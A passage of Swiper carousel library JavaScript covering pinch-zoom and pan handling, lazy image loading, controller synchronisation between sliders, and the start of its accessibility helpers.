return 1;
}
var x1 = e.targetTouches[0].pageX;
var y1 = e.targetTouches[0].pageY;
var x2 = e.targetTouches[1].pageX;
var y2 = e.targetTouches[1].pageY;
var distance = Math.sqrt(
Math.pow(x2 - x1, 2) + Math.pow(y2 - y1, 2)
);
return distance;
},
// Events
onGestureStart: function onGestureStart(e) {
var swiper = this;
var params = swiper.params.zoom;
var zoom = swiper.zoom;
var gesture = zoom.gesture;
zoom.fakeGestureTouched = false;
zoom.fakeGestureMoved = false;
if (!Support.gestures) {
if (
e.type !== 'touchstart' ||
(e.type === 'touchstart' && e.targetTouches.length < 2)
) {
return;
}
zoom.fakeGestureTouched = true;
gesture.scaleStart = Zoom.getDistanceBetweenTouches(e);
}
if (!gesture.$slideEl || !gesture.$slideEl.length) {
gesture.$slideEl = $(e.target).closest('.swiper-slide');
if (gesture.$slideEl.length === 0) {
gesture.$slideEl = swiper.slides.eq(swiper.activeIndex);
}
gesture.$imageEl = gesture.$slideEl.find('img, svg, canvas');
gesture.$imageWrapEl = gesture.$imageEl.parent(
'.' + params.containerClass
);
gesture.maxRatio =
gesture.$imageWrapEl.attr('data-swiper-zoom') ||
params.maxRatio;
if (gesture.$imageWrapEl.length === 0) {
gesture.$imageEl = undefined;
return;
}
}
gesture.$imageEl.transition(0);
swiper.zoom.isScaling = true;
},
onGestureChange: function onGestureChange(e) {
var swiper = this;
var params = swiper.params.zoom;
var zoom = swiper.zoom;
var gesture = zoom.gesture;
if (!Support.gestures) {
if (
e.type !== 'touchmove' ||
(e.type === 'touchmove' && e.targetTouches.length < 2)
) {
return;
}
zoom.fakeGestureMoved = true;
gesture.scaleMove = Zoom.getDistanceBetweenTouches(e);
}
if (!gesture.$imageEl || gesture.$imageEl.length === 0) {
return;
}
if (Support.gestures) {
swiper.zoom.scale = e.scale * zoom.currentScale;
} else {
zoom.scale =
(gesture.scaleMove / gesture.scaleStart) *
zoom.currentScale;
}
if (zoom.scale > gesture.maxRatio) {
zoom.scale =
gesture.maxRatio -
1 +
Math.pow(zoom.scale - gesture.maxRatio + 1, 0.5);
}
if (zoom.scale < params.minRatio) {
zoom.scale =
params.minRatio +
1 -
Math.pow(params.minRatio - zoom.scale + 1, 0.5);
}
gesture.$imageEl.transform(
'translate3d(0,0,0) scale(' + zoom.scale + ')'
);
},
onGestureEnd: function onGestureEnd(e) {
var swiper = this;
var params = swiper.params.zoom;
var zoom = swiper.zoom;
var gesture = zoom.gesture;
if (!Support.gestures) {
if (!zoom.fakeGestureTouched || !zoom.fakeGestureMoved) {
return;
}
if (
e.type !== 'touchend' ||
(e.type === 'touchend' &&
e.changedTouches.length < 2 &&
!Device.android)
) {
return;
}
zoom.fakeGestureTouched = false;
zoom.fakeGestureMoved = false;
}
if (!gesture.$imageEl || gesture.$imageEl.length === 0) {
return;
}
zoom.scale = Math.max(
Math.min(zoom.scale, gesture.maxRatio),
params.minRatio
);
gesture.$imageEl
.transition(swiper.params.speed)
.transform('translate3d(0,0,0) scale(' + zoom.scale + ')');
zoom.currentScale = zoom.scale;
zoom.isScaling = false;
if (zoom.scale === 1) {
gesture.$slideEl = undefined;
}
},
onTouchStart: function onTouchStart(e) {
var swiper = this;
var zoom = swiper.zoom;
var gesture = zoom.gesture;
var image = zoom.image;
if (!gesture.$imageEl || gesture.$imageEl.length === 0) {
return;
}
if (image.isTouched) {
return;
}
if (Device.android) {
e.preventDefault();
}
image.isTouched = true;
image.touchesStart.x =
e.type === 'touchstart' ? e.targetTouches[0].pageX : e.pageX;
image.touchesStart.y =
e.type === 'touchstart' ? e.targetTouches[0].pageY : e.pageY;
},
onTouchMove: function onTouchMove(e) {
var swiper = this;
var zoom = swiper.zoom;
var gesture = zoom.gesture;
var image = zoom.image;
var velocity = zoom.velocity;
if (!gesture.$imageEl || gesture.$imageEl.length === 0) {
return;
}
swiper.allowClick = false;
if (!image.isTouched || !gesture.$slideEl) {
return;
}
if (!image.isMoved) {
image.width = gesture.$imageEl[0].offsetWidth;
image.height = gesture.$imageEl[0].offsetHeight;
image.startX =
Utils.getTranslate(gesture.$imageWrapEl[0], 'x') || 0;
image.startY =
Utils.getTranslate(gesture.$imageWrapEl[0], 'y') || 0;
gesture.slideWidth = gesture.$slideEl[0].offsetWidth;
gesture.slideHeight = gesture.$slideEl[0].offsetHeight;
gesture.$imageWrapEl.transition(0);
if (swiper.rtl) {
image.startX = -image.startX;
image.startY = -image.startY;
}
}
// Define if we need image drag
var scaledWidth = image.width * zoom.scale;
var scaledHeight = image.height * zoom.scale;
if (
scaledWidth < gesture.slideWidth &&
scaledHeight < gesture.slideHeight
) {
return;
}
image.minX = Math.min(gesture.slideWidth / 2 - scaledWidth / 2, 0);
image.maxX = -image.minX;
image.minY = Math.min(
gesture.slideHeight / 2 - scaledHeight / 2,
0
);
image.maxY = -image.minY;
image.touchesCurrent.x =
e.type === 'touchmove' ? e.targetTouches[0].pageX : e.pageX;
image.touchesCurrent.y =
e.type === 'touchmove' ? e.targetTouches[0].pageY : e.pageY;
if (!image.isMoved && !zoom.isScaling) {
if (
swiper.isHorizontal() &&
((Math.floor(image.minX) === Math.floor(image.startX) &&
image.touchesCurrent.x < image.touchesStart.x) ||
(Math.floor(image.maxX) === Math.floor(image.startX) &&
image.touchesCurrent.x > image.touchesStart.x))
) {
image.isTouched = false;
return;
}
if (
!swiper.isHorizontal() &&
((Math.floor(image.minY) === Math.floor(image.startY) &&
image.touchesCurrent.y < image.touchesStart.y) ||
(Math.floor(image.maxY) === Math.floor(image.startY) &&
image.touchesCurrent.y > image.touchesStart.y))
) {
image.isTouched = false;
return;
}
}
e.preventDefault();
e.stopPropagation();
image.isMoved = true;
image.currentX =
image.touchesCurrent.x - image.touchesStart.x + image.startX;
image.currentY =
image.touchesCurrent.y - image.touchesStart.y + image.startY;
if (image.currentX < image.minX) {
image.currentX =
image.minX +
1 -
Math.pow(image.minX - image.currentX + 1, 0.8);
}
if (image.currentX > image.maxX) {
image.currentX =
image.maxX -
1 +
Math.pow(image.currentX - image.maxX + 1, 0.8);
}
if (image.currentY < image.minY) {
image.currentY =
image.minY +
1 -
Math.pow(image.minY - image.currentY + 1, 0.8);
}
if (image.currentY > image.maxY) {
image.currentY =
image.maxY -
1 +
Math.pow(image.currentY - image.maxY + 1, 0.8);
}
// Velocity
if (!velocity.prevPositionX) {
velocity.prevPositionX = image.touchesCurrent.x;
}
if (!velocity.prevPositionY) {
velocity.prevPositionY = image.touchesCurrent.y;
}
if (!velocity.prevTime) {
velocity.prevTime = Date.now();
}
velocity.x =
(image.touchesCurrent.x - velocity.prevPositionX) /
(Date.now() - velocity.prevTime) /
2;
velocity.y =
(image.touchesCurrent.y - velocity.prevPositionY) /
(Date.now() - velocity.prevTime) /
2;
if (Math.abs(image.touchesCurrent.x - velocity.prevPositionX) < 2) {
velocity.x = 0;
}
if (Math.abs(image.touchesCurrent.y - velocity.prevPositionY) < 2) {
velocity.y = 0;
}
velocity.prevPositionX = image.touchesCurrent.x;
velocity.prevPositionY = image.touchesCurrent.y;
velocity.prevTime = Date.now();
gesture.$imageWrapEl.transform(
'translate3d(' +
image.currentX +
'px, ' +
image.currentY +
'px,0)'
);
},
onTouchEnd: function onTouchEnd() {
var swiper = this;
var zoom = swiper.zoom;
var gesture = zoom.gesture;
var image = zoom.image;
var velocity = zoom.velocity;
if (!gesture.$imageEl || gesture.$imageEl.length === 0) {
return;
}
if (!image.isTouched || !image.isMoved) {
image.isTouched = false;
image.isMoved = false;
return;
}
image.isTouched = false;
image.isMoved = false;
var momentumDurationX = 300;
var momentumDurationY = 300;
var momentumDistanceX = velocity.x * momentumDurationX;
var newPositionX = image.currentX + momentumDistanceX;
var momentumDistanceY = velocity.y * momentumDurationY;
var newPositionY = image.currentY + momentumDistanceY;
// Fix duration
if (velocity.x !== 0) {
momentumDurationX = Math.abs(
(newPositionX - image.currentX) / velocity.x
);
}
if (velocity.y !== 0) {
momentumDurationY = Math.abs(
(newPositionY - image.currentY) / velocity.y
);
}
var momentumDuration = Math.max(
momentumDurationX,
momentumDurationY
);
image.currentX = newPositionX;
image.currentY = newPositionY;
// Define if we need image drag
var scaledWidth = image.width * zoom.scale;
var scaledHeight = image.height * zoom.scale;
image.minX = Math.min(gesture.slideWidth / 2 - scaledWidth / 2, 0);
image.maxX = -image.minX;
image.minY = Math.min(
gesture.slideHeight / 2 - scaledHeight / 2,
0
);
image.maxY = -image.minY;
image.currentX = Math.max(
Math.min(image.currentX, image.maxX),
image.minX
);
image.currentY = Math.max(
Math.min(image.currentY, image.maxY),
image.minY
);
gesture.$imageWrapEl
.transition(momentumDuration)
.transform(
'translate3d(' +
image.currentX +
'px, ' +
image.currentY +
'px,0)'
);
},
onTransitionEnd: function onTransitionEnd() {
var swiper = this;
var zoom = swiper.zoom;
var gesture = zoom.gesture;
if (
gesture.$slideEl &&
swiper.previousIndex !== swiper.activeIndex
) {
gesture.$imageEl.transform('translate3d(0,0,0) scale(1)');
gesture.$imageWrapEl.transform('translate3d(0,0,0)');
gesture.$slideEl = undefined;
gesture.$imageEl = undefined;
gesture.$imageWrapEl = undefined;
zoom.scale = 1;
zoom.currentScale = 1;
}
},
// Toggle Zoom
toggle: function toggle(e) {
var swiper = this;
var zoom = swiper.zoom;
if (zoom.scale && zoom.scale !== 1) {
// Zoom Out
zoom.out();
} else {
// Zoom In
zoom.in(e);
}
},
in: function in$1(e) {
var swiper = this;
var zoom = swiper.zoom;
var params = swiper.params.zoom;
var gesture = zoom.gesture;
var image = zoom.image;
if (!gesture.$slideEl) {
gesture.$slideEl = swiper.clickedSlide
? $(swiper.clickedSlide)
: swiper.slides.eq(swiper.activeIndex);
gesture.$imageEl = gesture.$slideEl.find('img, svg, canvas');
gesture.$imageWrapEl = gesture.$imageEl.parent(
'.' + params.containerClass
);
}
if (!gesture.$imageEl || gesture.$imageEl.length === 0) {
return;
}
gesture.$slideEl.addClass('' + params.zoomedSlideClass);
var touchX;
var touchY;
var offsetX;
var offsetY;
var diffX;
var diffY;
var translateX;
var translateY;
var imageWidth;
var imageHeight;
var scaledWidth;
var scaledHeight;
var translateMinX;
var translateMinY;
var translateMaxX;
var translateMaxY;
var slideWidth;
var slideHeight;
if (typeof image.touchesStart.x === 'undefined' && e) {
touchX =
e.type === 'touchend' ? e.changedTouches[0].pageX : e.pageX;
touchY =
e.type === 'touchend' ? e.changedTouches[0].pageY : e.pageY;
} else {
touchX = image.touchesStart.x;
touchY = image.touchesStart.y;
}
zoom.scale =
gesture.$imageWrapEl.attr('data-swiper-zoom') ||
params.maxRatio;
zoom.currentScale =
gesture.$imageWrapEl.attr('data-swiper-zoom') ||
params.maxRatio;
if (e) {
slideWidth = gesture.$slideEl[0].offsetWidth;
slideHeight = gesture.$slideEl[0].offsetHeight;
offsetX = gesture.$slideEl.offset().left;
offsetY = gesture.$slideEl.offset().top;
diffX = offsetX + slideWidth / 2 - touchX;
diffY = offsetY + slideHeight / 2 - touchY;
imageWidth = gesture.$imageEl[0].offsetWidth;
imageHeight = gesture.$imageEl[0].offsetHeight;
scaledWidth = imageWidth * zoom.scale;
scaledHeight = imageHeight * zoom.scale;
translateMinX = Math.min(slideWidth / 2 - scaledWidth / 2, 0);
translateMinY = Math.min(slideHeight / 2 - scaledHeight / 2, 0);
translateMaxX = -translateMinX;
translateMaxY = -translateMinY;
translateX = diffX * zoom.scale;
translateY = diffY * zoom.scale;
if (translateX < translateMinX) {
translateX = translateMinX;
}
if (translateX > translateMaxX) {
translateX = translateMaxX;
}
if (translateY < translateMinY) {
translateY = translateMinY;
}
if (translateY > translateMaxY) {
translateY = translateMaxY;
}
} else {
translateX = 0;
translateY = 0;
}
gesture.$imageWrapEl
.transition(300)
.transform(
'translate3d(' + translateX + 'px, ' + translateY + 'px,0)'
);
gesture.$imageEl
.transition(300)
.transform('translate3d(0,0,0) scale(' + zoom.scale + ')');
},
out: function out() {
var swiper = this;
var zoom = swiper.zoom;
var params = swiper.params.zoom;
var gesture = zoom.gesture;
if (!gesture.$slideEl) {
gesture.$slideEl = swiper.clickedSlide
? $(swiper.clickedSlide)
: swiper.slides.eq(swiper.activeIndex);
gesture.$imageEl = gesture.$slideEl.find('img, svg, canvas');
gesture.$imageWrapEl = gesture.$imageEl.parent(
'.' + params.containerClass
);
}
if (!gesture.$imageEl || gesture.$imageEl.length === 0) {
return;
}
zoom.scale = 1;
zoom.currentScale = 1;
gesture.$imageWrapEl
.transition(300)
.transform('translate3d(0,0,0)');
gesture.$imageEl
.transition(300)
.transform('translate3d(0,0,0) scale(1)');
gesture.$slideEl.removeClass('' + params.zoomedSlideClass);
gesture.$slideEl = undefined;
},
// Attach/Detach Events
enable: function enable() {
var swiper = this;
var zoom = swiper.zoom;
if (zoom.enabled) {
return;
}
zoom.enabled = true;
var passiveListener =
swiper.touchEvents.start === 'touchstart' &&
Support.passiveListener &&
swiper.params.passiveListeners
? { passive: true, capture: false }
: false;
// Scale image
if (Support.gestures) {
swiper.$wrapperEl.on(
'gesturestart',
'.swiper-slide',
zoom.onGestureStart,
passiveListener
);
swiper.$wrapperEl.on(
'gesturechange',
'.swiper-slide',
zoom.onGestureChange,
passiveListener
);
swiper.$wrapperEl.on(
'gestureend',
'.swiper-slide',
zoom.onGestureEnd,
passiveListener
);
} else if (swiper.touchEvents.start === 'touchstart') {
swiper.$wrapperEl.on(
swiper.touchEvents.start,
'.swiper-slide',
zoom.onGestureStart,
passiveListener
);
swiper.$wrapperEl.on(
swiper.touchEvents.move,
'.swiper-slide',
zoom.onGestureChange,
passiveListener
);
swiper.$wrapperEl.on(
swiper.touchEvents.end,
'.swiper-slide',
zoom.onGestureEnd,
passiveListener
);
}
// Move image
swiper.$wrapperEl.on(
swiper.touchEvents.move,
'.' + swiper.params.zoom.containerClass,
zoom.onTouchMove
);
},
disable: function disable() {
var swiper = this;
var zoom = swiper.zoom;
if (!zoom.enabled) {
return;
}
swiper.zoom.enabled = false;
var passiveListener =
swiper.touchEvents.start === 'touchstart' &&
Support.passiveListener &&
swiper.params.passiveListeners
? { passive: true, capture: false }
: false;
// Scale image
if (Support.gestures) {
swiper.$wrapperEl.off(
'gesturestart',
'.swiper-slide',
zoom.onGestureStart,
passiveListener
);
swiper.$wrapperEl.off(
'gesturechange',
'.swiper-slide',
zoom.onGestureChange,
passiveListener
);
swiper.$wrapperEl.off(
'gestureend',
'.swiper-slide',
zoom.onGestureEnd,
passiveListener
);
} else if (swiper.touchEvents.start === 'touchstart') {
swiper.$wrapperEl.off(
swiper.touchEvents.start,
'.swiper-slide',
zoom.onGestureStart,
passiveListener
);
swiper.$wrapperEl.off(
swiper.touchEvents.move,
'.swiper-slide',
zoom.onGestureChange,
passiveListener
);
swiper.$wrapperEl.off(
swiper.touchEvents.end,
'.swiper-slide',
zoom.onGestureEnd,
passiveListener
);
}
// Move image
swiper.$wrapperEl.off(
swiper.touchEvents.move,
'.' + swiper.params.zoom.containerClass,
zoom.onTouchMove
);
},
};
var Zoom$1 = {
name: 'zoom',
params: {
zoom: {
enabled: false,
maxRatio: 3,
minRatio: 1,
toggle: true,
containerClass: 'swiper-zoom-container',
zoomedSlideClass: 'swiper-slide-zoomed',
},
},
create: function create() {
var swiper = this;
var zoom = {
enabled: false,
scale: 1,
currentScale: 1,
isScaling: false,
gesture: {
$slideEl: undefined,
slideWidth: undefined,
slideHeight: undefined,
$imageEl: undefined,
$imageWrapEl: undefined,
maxRatio: 3,
},
image: {
isTouched: undefined,
isMoved: undefined,
currentX: undefined,
currentY: undefined,
minX: undefined,
minY: undefined,
maxX: undefined,
maxY: undefined,
width: undefined,
height: undefined,
startX: undefined,
startY: undefined,
touchesStart: {},
touchesCurrent: {},
},
velocity: {
x: undefined,
y: undefined,
prevPositionX: undefined,
prevPositionY: undefined,
prevTime: undefined,
},
};
'onGestureStart onGestureChange onGestureEnd onTouchStart onTouchMove onTouchEnd onTransitionEnd toggle enable disable in out'
.split(' ')
.forEach(function (methodName) {
zoom[methodName] = Zoom[methodName].bind(swiper);
});
Utils.extend(swiper, {
zoom: zoom,
});
},
on: {
init: function init() {
var swiper = this;
if (swiper.params.zoom.enabled) {
swiper.zoom.enable();
}
},
destroy: function destroy() {
var swiper = this;
swiper.zoom.disable();
},
touchStart: function touchStart(e) {
var swiper = this;
if (!swiper.zoom.enabled) {
return;
}
swiper.zoom.onTouchStart(e);
},
touchEnd: function touchEnd(e) {
var swiper = this;
if (!swiper.zoom.enabled) {
return;
}
swiper.zoom.onTouchEnd(e);
},
doubleTap: function doubleTap(e) {
var swiper = this;
if (
swiper.params.zoom.enabled &&
swiper.zoom.enabled &&
swiper.params.zoom.toggle
) {
swiper.zoom.toggle(e);
}
},
transitionEnd: function transitionEnd() {
var swiper = this;
if (swiper.zoom.enabled && swiper.params.zoom.enabled) {
swiper.zoom.onTransitionEnd();
}
},
},
};
var Lazy = {
loadInSlide: function loadInSlide(index, loadInDuplicate) {
if (loadInDuplicate === void 0) loadInDuplicate = true;
var swiper = this;
var params = swiper.params.lazy;
if (typeof index === 'undefined') {
return;
}
if (swiper.slides.length === 0) {
return;
}
var isVirtual = swiper.virtual && swiper.params.virtual.enabled;
var $slideEl = isVirtual
? swiper.$wrapperEl.children(
'.' +
swiper.params.slideClass +
'[data-swiper-slide-index="' +
index +
'"]'
)
: swiper.slides.eq(index);
var $images = $slideEl.find(
'.' +
params.elementClass +
':not(.' +
params.loadedClass +
'):not(.' +
params.loadingClass +
')'
);
if (
$slideEl.hasClass(params.elementClass) &&
!$slideEl.hasClass(params.loadedClass) &&
!$slideEl.hasClass(params.loadingClass)
) {
$images = $images.add($slideEl[0]);
}
if ($images.length === 0) {
return;
}
$images.each(function (imageIndex, imageEl) {
var $imageEl = $(imageEl);
$imageEl.addClass(params.loadingClass);
var background = $imageEl.attr('data-background');
var src = $imageEl.attr('data-src');
var srcset = $imageEl.attr('data-srcset');
var sizes = $imageEl.attr('data-sizes');
swiper.loadImage(
$imageEl[0],
src || background,
srcset,
sizes,
false,
function () {
if (
typeof swiper === 'undefined' ||
swiper === null ||
!swiper ||
(swiper && !swiper.params) ||
swiper.destroyed
) {
return;
}
if (background) {
$imageEl.css(
'background-image',
'url("' + background + '")'
);
$imageEl.removeAttr('data-background');
} else {
if (srcset) {
$imageEl.attr('srcset', srcset);
$imageEl.removeAttr('data-srcset');
}
if (sizes) {
$imageEl.attr('sizes', sizes);
$imageEl.removeAttr('data-sizes');
}
if (src) {
$imageEl.attr('src', src);
$imageEl.removeAttr('data-src');
}
}
$imageEl
.addClass(params.loadedClass)
.removeClass(params.loadingClass);
$slideEl.find('.' + params.preloaderClass).remove();
if (swiper.params.loop && loadInDuplicate) {
var slideOriginalIndex = $slideEl.attr(
'data-swiper-slide-index'
);
if (
$slideEl.hasClass(
swiper.params.slideDuplicateClass
)
) {
var originalSlide = swiper.$wrapperEl.children(
'[data-swiper-slide-index="' +
slideOriginalIndex +
'"]:not(.' +
swiper.params.slideDuplicateClass +
')'
);
swiper.lazy.loadInSlide(
originalSlide.index(),
false
);
} else {
var duplicatedSlide = swiper.$wrapperEl.children(
'.' +
swiper.params.slideDuplicateClass +
'[data-swiper-slide-index="' +
slideOriginalIndex +
'"]'
);
swiper.lazy.loadInSlide(
duplicatedSlide.index(),
false
);
}
}
swiper.emit('lazyImageReady', $slideEl[0], $imageEl[0]);
}
);
swiper.emit('lazyImageLoad', $slideEl[0], $imageEl[0]);
});
},
load: function load() {
var swiper = this;
var $wrapperEl = swiper.$wrapperEl;
var swiperParams = swiper.params;
var slides = swiper.slides;
var activeIndex = swiper.activeIndex;
var isVirtual = swiper.virtual && swiperParams.virtual.enabled;
var params = swiperParams.lazy;
var slidesPerView = swiperParams.slidesPerView;
if (slidesPerView === 'auto') {
slidesPerView = 0;
}
function slideExist(index) {
if (isVirtual) {
if (
$wrapperEl.children(
'.' +
swiperParams.slideClass +
'[data-swiper-slide-index="' +
index +
'"]'
).length
) {
return true;
}
} else if (slides[index]) {
return true;
}
return false;
}
function slideIndex(slideEl) {
if (isVirtual) {
return $(slideEl).attr('data-swiper-slide-index');
}
return $(slideEl).index();
}
if (!swiper.lazy.initialImageLoaded) {
swiper.lazy.initialImageLoaded = true;
}
if (swiper.params.watchSlidesVisibility) {
$wrapperEl
.children('.' + swiperParams.slideVisibleClass)
.each(function (elIndex, slideEl) {
var index = isVirtual
? $(slideEl).attr('data-swiper-slide-index')
: $(slideEl).index();
swiper.lazy.loadInSlide(index);
});
} else if (slidesPerView > 1) {
for (
var i = activeIndex;
i < activeIndex + slidesPerView;
i += 1
) {
if (slideExist(i)) {
swiper.lazy.loadInSlide(i);
}
}
} else {
swiper.lazy.loadInSlide(activeIndex);
}
if (params.loadPrevNext) {
if (
slidesPerView > 1 ||
(params.loadPrevNextAmount && params.loadPrevNextAmount > 1)
) {
var amount = params.loadPrevNextAmount;
var spv = slidesPerView;
var maxIndex = Math.min(
activeIndex + spv + Math.max(amount, spv),
slides.length
);
var minIndex = Math.max(
activeIndex - Math.max(spv, amount),
0
);
// Next Slides
for (
var i$1 = activeIndex + slidesPerView;
i$1 < maxIndex;
i$1 += 1
) {
if (slideExist(i$1)) {
swiper.lazy.loadInSlide(i$1);
}
}
// Prev Slides
for (var i$2 = minIndex; i$2 < activeIndex; i$2 += 1) {
if (slideExist(i$2)) {
swiper.lazy.loadInSlide(i$2);
}
}
} else {
var nextSlide = $wrapperEl.children(
'.' + swiperParams.slideNextClass
);
if (nextSlide.length > 0) {
swiper.lazy.loadInSlide(slideIndex(nextSlide));
}
var prevSlide = $wrapperEl.children(
'.' + swiperParams.slidePrevClass
);
if (prevSlide.length > 0) {
swiper.lazy.loadInSlide(slideIndex(prevSlide));
}
}
}
},
};
var Lazy$1 = {
name: 'lazy',
params: {
lazy: {
enabled: false,
loadPrevNext: false,
loadPrevNextAmount: 1,
loadOnTransitionStart: false,
elementClass: 'swiper-lazy',
loadingClass: 'swiper-lazy-loading',
loadedClass: 'swiper-lazy-loaded',
preloaderClass: 'swiper-lazy-preloader',
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
lazy: {
initialImageLoaded: false,
load: Lazy.load.bind(swiper),
loadInSlide: Lazy.loadInSlide.bind(swiper),
},
});
},
on: {
beforeInit: function beforeInit() {
var swiper = this;
if (swiper.params.lazy.enabled && swiper.params.preloadImages) {
swiper.params.preloadImages = false;
}
},
init: function init() {
var swiper = this;
if (
swiper.params.lazy.enabled &&
!swiper.params.loop &&
swiper.params.initialSlide === 0
) {
swiper.lazy.load();
}
},
scroll: function scroll() {
var swiper = this;
if (swiper.params.freeMode && !swiper.params.freeModeSticky) {
swiper.lazy.load();
}
},
resize: function resize() {
var swiper = this;
if (swiper.params.lazy.enabled) {
swiper.lazy.load();
}
},
scrollbarDragMove: function scrollbarDragMove() {
var swiper = this;
if (swiper.params.lazy.enabled) {
swiper.lazy.load();
}
},
transitionStart: function transitionStart() {
var swiper = this;
if (swiper.params.lazy.enabled) {
if (
swiper.params.lazy.loadOnTransitionStart ||
(!swiper.params.lazy.loadOnTransitionStart &&
!swiper.lazy.initialImageLoaded)
) {
swiper.lazy.load();
}
}
},
transitionEnd: function transitionEnd() {
var swiper = this;
if (
swiper.params.lazy.enabled &&
!swiper.params.lazy.loadOnTransitionStart
) {
swiper.lazy.load();
}
},
},
};
/* eslint no-bitwise: ["error", { "allow": [">>"] }] */
var Controller = {
LinearSpline: function LinearSpline(x, y) {
var binarySearch = (function search() {
var maxIndex;
var minIndex;
var guess;
return function (array, val) {
minIndex = -1;
maxIndex = array.length;
while (maxIndex - minIndex > 1) {
guess = (maxIndex + minIndex) >> 1;
if (array[guess] <= val) {
minIndex = guess;
} else {
maxIndex = guess;
}
}
return maxIndex;
};
})();
this.x = x;
this.y = y;
this.lastIndex = x.length - 1;
// Given an x value (x2), return the expected y2 value:
// (x1,y1) is the known point before given value,
// (x3,y3) is the known point after given value.
var i1;
var i3;
this.interpolate = function interpolate(x2) {
if (!x2) {
return 0;
}
// Get the indexes of x1 and x3 (the array indexes before and after given x2):
i3 = binarySearch(this.x, x2);
i1 = i3 - 1;
// We have our indexes i1 & i3, so we can calculate already:
// y2 := ((x2−x1) × (y3−y1)) ÷ (x3−x1) + y1
return (
((x2 - this.x[i1]) * (this.y[i3] - this.y[i1])) /
(this.x[i3] - this.x[i1]) +
this.y[i1]
);
};
return this;
},
// xxx: for now i will just save one spline function to to
getInterpolateFunction: function getInterpolateFunction(c) {
var swiper = this;
if (!swiper.controller.spline) {
swiper.controller.spline = swiper.params.loop
? new Controller.LinearSpline(
swiper.slidesGrid,
c.slidesGrid
)
: new Controller.LinearSpline(swiper.snapGrid, c.snapGrid);
}
},
setTranslate: function setTranslate(setTranslate$1, byController) {
var swiper = this;
var controlled = swiper.controller.control;
var multiplier;
var controlledTranslate;
function setControlledTranslate(c) {
// this will create an Interpolate function based on the snapGrids
// x is the Grid of the scrolled scroller and y will be the controlled scroller
// it makes sense to create this only once and recall it for the interpolation
// the function does a lot of value caching for performance
var translate = swiper.rtlTranslate
? -swiper.translate
: swiper.translate;
if (swiper.params.controller.by === 'slide') {
swiper.controller.getInterpolateFunction(c);
// i am not sure why the values have to be multiplicated this way, tried to invert the snapGrid
// but it did not work out
controlledTranslate = -swiper.controller.spline.interpolate(
-translate
);
}
if (
!controlledTranslate ||
swiper.params.controller.by === 'container'
) {
multiplier =
(c.maxTranslate() - c.minTranslate()) /
(swiper.maxTranslate() - swiper.minTranslate());
controlledTranslate =
(translate - swiper.minTranslate()) * multiplier +
c.minTranslate();
}
if (swiper.params.controller.inverse) {
controlledTranslate =
c.maxTranslate() - controlledTranslate;
}
c.updateProgress(controlledTranslate);
c.setTranslate(controlledTranslate, swiper);
c.updateActiveIndex();
c.updateSlidesClasses();
}
if (Array.isArray(controlled)) {
for (var i = 0; i < controlled.length; i += 1) {
if (
controlled[i] !== byController &&
controlled[i] instanceof Swiper
) {
setControlledTranslate(controlled[i]);
}
}
} else if (
controlled instanceof Swiper &&
byController !== controlled
) {
setControlledTranslate(controlled);
}
},
setTransition: function setTransition(duration, byController) {
var swiper = this;
var controlled = swiper.controller.control;
var i;
function setControlledTransition(c) {
c.setTransition(duration, swiper);
if (duration !== 0) {
c.transitionStart();
if (c.params.autoHeight) {
Utils.nextTick(function () {
c.updateAutoHeight();
});
}
c.$wrapperEl.transitionEnd(function () {
if (!controlled) {
return;
}
if (
c.params.loop &&
swiper.params.controller.by === 'slide'
) {
c.loopFix();
}
c.transitionEnd();
});
}
}
if (Array.isArray(controlled)) {
for (i = 0; i < controlled.length; i += 1) {
if (
controlled[i] !== byController &&
controlled[i] instanceof Swiper
) {
setControlledTransition(controlled[i]);
}
}
} else if (
controlled instanceof Swiper &&
byController !== controlled
) {
setControlledTransition(controlled);
}
},
};
var Controller$1 = {
name: 'controller',
params: {
controller: {
control: undefined,
inverse: false,
by: 'slide', // or 'container'
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
controller: {
control: swiper.params.controller.control,
getInterpolateFunction: Controller.getInterpolateFunction.bind(
swiper
),
setTranslate: Controller.setTranslate.bind(swiper),
setTransition: Controller.setTransition.bind(swiper),
},
});
},
on: {
update: function update() {
var swiper = this;
if (!swiper.controller.control) {
return;
}
if (swiper.controller.spline) {
swiper.controller.spline = undefined;
delete swiper.controller.spline;
}
},
resize: function resize() {
var swiper = this;
if (!swiper.controller.control) {
return;
}
if (swiper.controller.spline) {
swiper.controller.spline = undefined;
delete swiper.controller.spline;
}
},
observerUpdate: function observerUpdate() {
var swiper = this;
if (!swiper.controller.control) {
return;
}
if (swiper.controller.spline) {
swiper.controller.spline = undefined;
delete swiper.controller.spline;
}
},
setTranslate: function setTranslate(translate, byController) {
var swiper = this;
if (!swiper.controller.control) {
return;
}
swiper.controller.setTranslate(translate, byController);
},
setTransition: function setTransition(duration, byController) {
var swiper = this;
if (!swiper.controller.control) {
return;
}
swiper.controller.setTransition(duration, byController);
},
},
};
var a11y = {
makeElFocusable: function makeElFocusable($el) {
$el.attr('tabIndex', '0');
return $el;
},
addElRole: function addElRole($el, role) {
$el.attr('role', role);
return $el;
},
addElLabel: function addElLabel($el, label) {
$el.attr('aria-label', label);
return $el;
},
disableEl: function disableEl($el) {
$el.attr('aria-disabled', true);
return $el;
},
enableEl: function enableEl($el) {
$el.attr('aria-disabled', false);
return $el;
},
onEnterKey: function onEnterKey(e) {
var swiper = this;
var params = swiper.params.a11y;
if (e.keyCode !== 13) {
return;
}
var $targetEl = $(e.target);
if (
swiper.navigation &&
swiper.navigation.$nextEl &&
$targetEl.is(swiper.navigation.$nextEl)
) {
if (!(swiper.isEnd && !swiper.params.loop)) {
swiper.slideNext();
}
if (swiper.isEnd) {
swiper.a11y.notify(params.lastSlideMessage);
} else {
swiper.a11y.notify(params.nextSlideMessage);
}
}
if (
swiper.navigation &&
swiper.navigation.$prevEl &&
$targetEl.is(swiper.navigation.$prevEl)
) {
if (!(swiper.isBeginning && !swiper.params.loop)) {
swiper.slidePrev();
}
if (swiper.isBeginning) {
swiper.a11y.notify(params.firstSlideMessage);
} else {
swiper.a11y.notify(params.prevSlideMessage);
}
}
if (
swiper.pagination &&
$targetEl.is('.' + swiper.params.pagination.bulletClass)
) {
$targetEl[0].click();
}
},
notify: function notify(message) {
var swiper = this;
var notification = swiper.a11y.liveRegion;
if (notification.length === 0) {
return;
}
notification.html('');
notification.html(message);
},
updateNavigation: function updateNavigation() {
var swiper = this;
if (swiper.params.loop) {
return;
}
var ref = swiper.navigation;
var $nextEl = ref.$nextEl;
var $prevEl = ref.$prevEl;
if ($prevEl && $prevEl.length > 0) {
if (swiper.isBeginning) {
swiper.a11y.disableEl($prevEl);
} else {
